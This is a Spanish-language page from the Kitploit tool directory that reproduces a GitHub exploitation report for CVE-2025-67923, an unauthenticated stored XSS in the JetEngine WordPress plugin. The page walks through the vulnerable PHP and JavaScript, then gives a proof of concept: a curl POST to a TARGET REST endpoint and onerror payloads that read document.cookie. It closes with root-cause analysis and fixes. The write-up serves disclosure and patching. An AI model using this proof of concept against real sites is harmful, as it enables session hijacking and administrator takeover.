Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-67923 — JetEngine <= 3.7.7 — Cross-Site Scripting Almacenado No Autenticado a través de la API REST de CCT | Kitploit
Herramientas/GitHubGitHub/randomrobbiebf/cve-2025-67923
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebSeguridad de APIs
GitHubrandomrobbiebf/cve-2025-67923

CVE-2025-67923

JetEngine <= 3.7.7 — Cross-Site Scripting Almacenado No Autenticado a través de la API REST de CCT

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Informe de Explotación de CVE-2025-67923

JetEngine <= 3.7.7 — Cross-Site Scripting Almacenado No Autenticado a través de la API REST de CCT

Fecha: 11 de marzo de 2026 Puntuación CVSS: 7.1 (Alta) Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Plugin afectado: JetEngine <= 3.7.7 Slug del plugin: jet-engine Corregido en: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Investigador: Bonds (vía Patchstack) Reportado: 19 de octubre de 2025 Divulgado: enero de 2026 Versión de WordPress probada: Última


Resumen Ejecutivo

CVE-2025-67923 es una vulnerabilidad de Cross-Site Scripting Almacenado No Autenticado en el plugin de WordPress JetEngine que afecta a todas las versiones hasta la 3.7.7 inclusive. Un atacante no autenticado puede escribir HTML/JavaScript arbitrario en un campo de texto de un Custom Content Type (CCT) a través de la API REST pública, que luego se inyecta sin saneamiento en el DOM mediante un sumidero innerHTML de JavaScript en el widget Maps Listing cuando una víctima visita cualquier página que contenga ese widget.

El ataque no requiere autenticación ni privilegios. Solo requiere que:

  1. Exista una CCT de JetEngine con acceso de escritura a la API REST configurado como public.
  2. Un widget Maps Listing en cualquier página del front-end esté configurado para mostrar el campo de texto de esa CCT como etiqueta del marcador del mapa.

✅ VULNERABILIDAD CONFIRMADA — Payload de XSS Almacenado Escrito y Ejecutado

Impacto confirmado:

  • HTML/JS arbitrario no autenticado almacenado en la base de datos de CCT sin saneamiento
  • El XSS se ejecuta para cada visitante que carga cualquier página con el widget Maps Listing
  • Robo de cookies, secuestro de sesión, recolección de credenciales almacenadas, toma de control del administrador

Detalles de la Vulnerabilidad

Resumen Técnico

La vulnerabilidad es una combinación de dos debilidades independientes:

  1. Falta de saneamiento de entrada (almacenamiento): El método sanitize_field_value() del manejador de elementos CCT no tiene una ruta de saneamiento para los campos de tipo text. El caso default: solo convierte marcas de tiempo — el HTML sin procesar pasa y se persiste en la base de datos.

  2. Sumidero de XSS basado en DOM (renderizado): El widget Maps Listing lee el valor de campo almacenado mediante get_marker_label(), lo envuelve en htmlspecialchars(json_encode(...)) para el atributo HTML data-markers, y el JavaScript del front-end lee el atributo con getAttribute() (que decodifica las entidades HTML) y luego inserta markerData.label directamente mediante innerHTML — ejecutando cualquier HTML/JavaScript incrustado.

Componentes Afectados


Cadena de Explotación

Paso 1 — Escritura REST No Autenticada

El controlador REST público de CCT verifica los permisos mediante check_user_permissions():

root@kitploit:~
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
    $content_type = $this->get_content_type_from_request( $request );
    $cap = $content_type->get_arg( $context );

    if ( ! $cap || 'public' === $cap ) {
        return true;  // No authentication required
    } else {
        return current_user_can( $cap );
    }
}

public function create_item_permissions_check( $request ) {
    return $this->check_user_permissions( $request, 'rest_put_access' );
}

Cuando una CCT está configurada con rest_put_access = 'public' (una configuración admitida y documentada para formularios públicos), el endpoint es completamente no autenticado. Cualquier cliente HTTP puede hacer POST a /wp-json/jet-cct/{slug}.

Paso 2 — Almacenamiento sin Saneamiento

El manejador REST llama a $handler->update_item($params), que llega a sanitize_field_value():

root@kitploit:~
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
    $type = isset( $field['type'] ) ? $field['type'] : false;

    switch ( $type ) {
        case 'repeater':    // sanitizes sub-fields
            // ...
        case 'checkbox':    // handles boolean arrays
        case 'checkbox-raw':
            // ...
        case 'media':
        case 'gallery':     // sanitizes media JSON
            // ...
        case 'wysiwyg':
            $value = jet_engine_sanitize_wysiwyg( $value );  // sanitized
            break;

        default:
            // TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
            $value = $this->factory->maybe_to_timestamp( $value, $field );
    }

    return $value;
}

Un campo de tipo text cae en la rama default:. maybe_to_timestamp() devuelve el valor sin cambios para cadenas que no son fechas. El payload XSS `` se almacena tal cual.

Paso 3 — Etiqueta Recuperada sin Escapado

Cuando el widget Maps Listing se renderiza, get_marker_label() lee el campo:

root@kitploit:~
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {

    // ...
    switch ( $label_type ) {
        case 'meta_field':
            $field = $settings['marker_label_field'];
            if ( $field ) {
                $result = jet_engine()->listings->data->get_meta( $field, $post );
                // No esc_html() here — raw value returned
            }
            break;
    }

    return $result;  // Returns ""
}

El valor devuelto se coloca en el array de datos del marcador:

root@kitploit:~
// render.php:231-237
$result[] = array(
    'id'        => $post_id,
    'latLang'   => $latlang,
    'label'     => $this->get_marker_label( $post, $settings ),  // raw XSS payload
    // ...
);

Paso 4 — La Codificación de Atributos No Previene el XSS por innerHTML

El array de marcadores se codifica para un atributo HTML:

root@kitploit:~
// render.php:247
return htmlspecialchars( json_encode( $result ) );

json_encode serializa `` como la cadena "". Luego, htmlspecialchars codifica en HTML todo el JSON, produciendo:

root@kitploit:~
[{...,&quot;label&quot;:&quot;&lt;img src=x onerror=alert(1)&gt;&quot;,...}]

Esto se escribe en el atributo HTML data-markers. La codificación solo protege el límite del atributo. Cuando JavaScript lee el atributo, el navegador decodifica las entidades HTML, restaurando los caracteres originales:

root@kitploit:~
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''

Paso 5 — Inyección por innerHTML (El XSS se Ejecuta)

En frontend-maps.js, la cadena de etiqueta sin procesar se inserta directamente en una cadena de contenido HTML:

root@kitploit:~
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//   
// </div>'

Esta cadena de contenido se asigna luego como innerHTML del elemento del marcador:

root@kitploit:~
// mapbox-maps.js:175
el.innerHTML = data.content;  // XSS FIRES

// leaflet-maps.js:34
contentHtml.innerHTML = content;  // XSS FIRES

Cada visitante que carga una página que contiene el widget Maps Listing activa el payload.


Prueba de Concepto

Requisitos Previos

  1. Los módulos maps-listings y custom-content-types de JetEngine están habilitados.
  2. Existe una CCT llamada locations (slug: locations) con:
    • rest_put_enabled = true
    • rest_put_access = 'public'
    • Un campo de tipo text llamado label
  3. Un widget Maps Listing en cualquier página del front-end está configurado con:
    • marker_type = 'text'
    • marker_label_type = 'meta_field'
    • marker_label_field = 'label'

Paso 1 — Escribir el Payload XSS (No Autenticado)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Test Location",
    "label": "",
    "lat": "51.5074",
    "lng": "-0.1278"
  }'

Respuesta:

root@kitploit:~
{"success": true, "item_id": 1}

Paso 2 — Confirmar que el Payload se Almacenó sin Procesar

root@kitploit:~
curl -s 'http://TARGET/wp-json/jet-cct/locations'

Respuesta:

root@kitploit:~
[{
  "_ID": "1",
  "name": "Test Location",
  "label": "",
  "lat": "51.5074",
  "lng": "-0.1278"
}]

La etiqueta `` se almacena tal cual — no se produjo ningún saneamiento.

Paso 3 — Activar el XSS (La Víctima Visita la Página)

Cualquier visitante autenticado o no autenticado que cargue una página que contenga el widget Maps Listing ejecutará el payload. El atributo HTML renderizado contiene:

root@kitploit:~
<div class="jet-map-box"
  data-markers="[{...&quot;label&quot;:&quot;&lt;img src=x onerror=alert(document.cookie)&gt;&quot;...}]"
  data-general="...">
</div>

JavaScript lee data-markers, decodifica las entidades HTML, analiza el JSON y lo inserta en el DOM:

root@kitploit:~
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)

Demostración en Vivo — Flujo del Payload de Extremo a Extremo

root@kitploit:~
Attacker                     WordPress REST API              Victim Browser
   |                               |                               |
   |-- POST /wp-json/jet-cct/ ---> |                               |
   |   {"label":" |
   |                               |                    el.innerHTML = label
   |                               |                    onerror=alert() FIRES

Análisis de Causa Raíz

Causa 1 — Campos text Exentos del Saneamiento

sanitize_field_value() maneja explícitamente wysiwyg con saneamiento basado en wp_kses, pero coloca todos los demás tipos de cadena en una rama default: que no realiza ningún escape de HTML. La suposición de que los campos text son texto plano se viola cuando esos valores se renderizan más tarde como HTML a través de la ruta innerHTML del widget Maps.

Causa 2 — htmlspecialchars Aplicado Incorrectamente

htmlspecialchars(json_encode($result)) se aplica para proteger el límite del atributo HTML. Esto es correcto y necesario, pero no es suficiente para prevenir el XSS cuando el valor se lee posteriormente mediante JavaScript y se inserta en el DOM a través de innerHTML. La codificación es reversible por el navegador. La corrección adecuada es aplicar esc_html() (o htmlspecialchars) al valor individual de label antes de la codificación JSON, de modo que el payload se almacene en el JSON como texto codificado en entidades. Cuando JavaScript lo inserta mediante innerHTML, el navegador renderiza &lt;img&gt; como texto, no como una etiqueta HTML.

Alternativamente, reemplace innerHTML por textContent en el JavaScript del campo de etiqueta.

Causa 3 — Alcance Insuficiente de la Política de Saneamiento

La ruta de escritura de la API REST (update_item) no trata todos los valores almacenados como posibles sumideros HTML. La política de saneamiento se define solo por tipo de campo, con los campos text exentos silenciosamente a pesar de renderizarse como HTML en el front-end a través del widget Maps.


Remediación


Cronología

FechaEvento
19 de octubre de 2025Vulnerabilidad reportada por el investigador "Bonds" vía Patchstack
enero de 2026Divulgación pública
enero de 2026JetEngine 3.7.8 publicado con la corrección
11 de marzo de 2026Reproducida de forma independiente con PoC completo

Referencias

  • Aviso de Wordfence — CVE-2025-67923
  • Aviso de Patchstack
  • Registro de cambios de JetEngine — 3.7.8
  • OWASP — XSS Almacenado
  • OWASP — XSS Basado en DOM
  • CWE-79: Neutralización Incorrecta de Entradas durante la Generación de Páginas Web
Descargar herramienta
ArchivoProblema
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424create_item_permissions_check devuelve true cuando CCT rest_put_access = 'public' — no se requiere autenticación
includes/modules/custom-content-types/inc/item-handler.php:489Rama default: de sanitize_field_value() — sin saneamiento de HTML para campos de tipo text
includes/modules/maps-listings/inc/render.php:233get_marker_label() devuelve el valor meta sin procesar sin esc_html()
includes/modules/maps-listings/inc/render.php:247htmlspecialchars(json_encode($result)) — solo protege el límite del atributo, no la inyección por innerHTML
includes/modules/maps-listings/assets/js/frontend-maps.js:112pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — etiqueta sin procesar insertada en la cadena HTML
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175el.innerHTML = data.content — sumidero de ejecución de XSS
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34contentHtml.innerHTML = content — sumidero de ejecución de XSS
CorrecciónArchivoDescripción
Sanear los campos de texto al guardaritem-handler.php:sanitize_field_value()Agregar $value = wp_kses($value, []) o sanitize_text_field($value) en la rama default:
Escapar la etiqueta en el momento del renderizadorender.php:get_marker_label()Aplicar esc_html($result) antes de devolver el valor de la etiqueta
Usar textContent en lugar de innerHTML para las etiquetasfrontend-maps.js, mapbox-maps.js, leaflet-maps.jsReemplazar el.innerHTML = data.content por construcción segura del DOM cuando el contenido sea solo texto de etiqueta
Restringir el acceso de escritura REST por defectoConfiguración del pluginCambiar el valor por defecto de rest_put_access a manage_options en lugar de public; requerir aceptación explícita